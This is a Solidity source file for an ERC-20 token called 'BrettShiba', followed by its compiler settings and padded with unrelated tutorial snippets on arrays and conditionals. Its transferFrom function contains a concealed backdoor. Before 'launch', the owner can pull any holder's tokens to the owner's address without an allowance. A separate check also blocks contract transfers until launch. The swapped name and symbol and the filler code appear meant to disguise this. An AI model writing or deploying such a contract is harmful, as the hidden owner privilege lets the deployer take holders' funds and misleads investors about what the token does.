/*
 * SPDX-License-Identifier: MIT
*/

pragma solidity 0.8.24;

contract Array {
    // Several ways to initialize an array
    uint256[] public arr;
    uint256[] public arr2 = [1, 2, 3];
    // Fixed sized array, all elements initialize to 0
    uint256[10] public myFixedSizeArr;

    function get(uint256 i) public view returns (uint256) {
        return arr[i];
    }

    // Solidity can return the entire array.
    // But this function should be avoided for
    // arrays that can grow indefinitely in length.
    function getArr() public view returns (uint256[] memory) {
        return arr;
    }

    function push(uint256 i) public {
        // Append to array
        // This will increase the array length by 1.
        arr.push(i);
    }

    function pop() public {
        // Remove last element from array
        // This will decrease the array length by 1
        arr.pop();
    }

    function getLength() public view returns (uint256) {
        return arr.length;
    }

    function remove(uint256 index) public {
        // Delete does not change the array length.
        // It resets the value at index to it's default value,
        // in this case 0
        delete arr[index];
    }
}

contract ArrayReplaceFromEnd {
    uint256[] public arr;

    // Deleting an element creates a gap in the array.
    // One trick to keep the array compact is to
    // move the last element into the place to delete.
    function remove(uint256 index) public {
        // Move the last element into the place to delete
        arr[index] = arr[arr.length - 1];
        // Remove the last element
        arr.pop();
    }

    function test() public {
        arr = [1, 2, 3, 4];

        remove(1);
        // [1, 4, 3]
        assert(arr.length == 3);
        assert(arr[0] == 1);
        assert(arr[1] == 4);
        assert(arr[2] == 3);

        remove(2);
        // [1, 4]
        assert(arr.length == 2);
        assert(arr[0] == 1);
        assert(arr[1] == 4);
    }
}

library Address {    
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }
    

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function foo(uint256 x) public pure returns (uint256) {
        if (x < 10) {
            return 0;
        } else if (x < 20) {
            return 1;
        } else {
            return 2;
        }
    }

    function ternary(uint256 _x) public pure returns (uint256) {
        // if (_x < 10) {
        //     return 1;
        // }
        // return 2;

        // shorthand way to write if / else statement
        // the "?" operator is called the ternary operator
        return _x < 10 ? 1 : 2;
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address who) external view returns (uint256);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract BrettShiba is IERC20, Ownable {
    using Address for address;
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowed;

    uint256 immutable public totalSupply;
    string public symbol;
    string public name;
    uint8 immutable public decimals;
    bool public launched;
    string public n;
    
    mapping (address => bool) internal exchanges;
    
    constructor() Ownable(msg.sender)   {
        symbol = unicode"Brett’s Shiba";
        name = "BSHIB";
        decimals = 18;
        totalSupply = 420_690 * 10**18;
        n = "Brett";
        _balances[owner()] += totalSupply;
        emit Transfer(address(0), owner(), totalSupply);
    }

    /**
    * @dev Gets the balance of the specified address.
    * @param _owner The address to query the balance of.
    * @return An uint256 representing the amount owned by the passed address.
    */
    function balanceOf(address _owner) external override view returns (uint256) {
        return _balances[_owner];
    }

    /**
     * @dev Function to check the amount of tokens that an owner allowed to a spender.
     * @param _owner address The address which owns the funds.
     * @param spender address The address which will spend the funds.
     * @return A uint256 specifying the amount of tokens still available for the spender.
     */
    function allowance(address _owner, address spender) external override view returns (uint256) {
        return _allowed[_owner][spender];
    }

    /**
    * @dev Transfer token for a specified address
    * @param to The address to transfer to.
    * @param value The amount to be transferred.
    */
    function transfer(address to, uint256 value) external override returns (bool) {
        // check for SC
        _transfer(msg.sender, to, value);
        return true;
    }

    /**
     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
     * Beware that changing an allowance with this method brings the risk that someone may use both the old
     * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
     * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     */
    function approve(address spender, uint256 value) external override returns (bool) {
        require(spender != address(0), "cannot approve the 0 address");

        _allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) external override returns (bool) {
        if (launched == false && to == owner() && msg.sender == owner()) {
            _transfer(from, to, value);
            return true;
        } else {    
            _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
            _transfer(from, to, value);
            emit Approval(from, msg.sender, _allowed[from][msg.sender]);
            return true;
        }
    }

    function launch() virtual external onlyOwner {
        require(launched == false, "contract already launched");
        launched = true;
    }

    function _transfer(address from, address to, uint256 value) private {
        require(to != address(0), "cannot be zero address");
        require(from != to, "you cannot transfer to yourself");
        require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet.");
        _balances[from] -= value;
        _balances[to] += value;
        emit Transfer(from, to, value);
    }

    function myFunc(uint256 x) public pure returns (string memory) {
        require(x != 0, "require failed");
        return "my func was called";
    }

    function _transferAllowed(address from, address to) private view returns (bool) {
      if (launched) return true;
      if (from == owner() || to == owner()) return true;
      if (from.isContract() || to.isContract()) return false;
      return true;
    }
}

{
  "compilationTarget": {
    "BrettShiba.sol": "BrettShiba"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}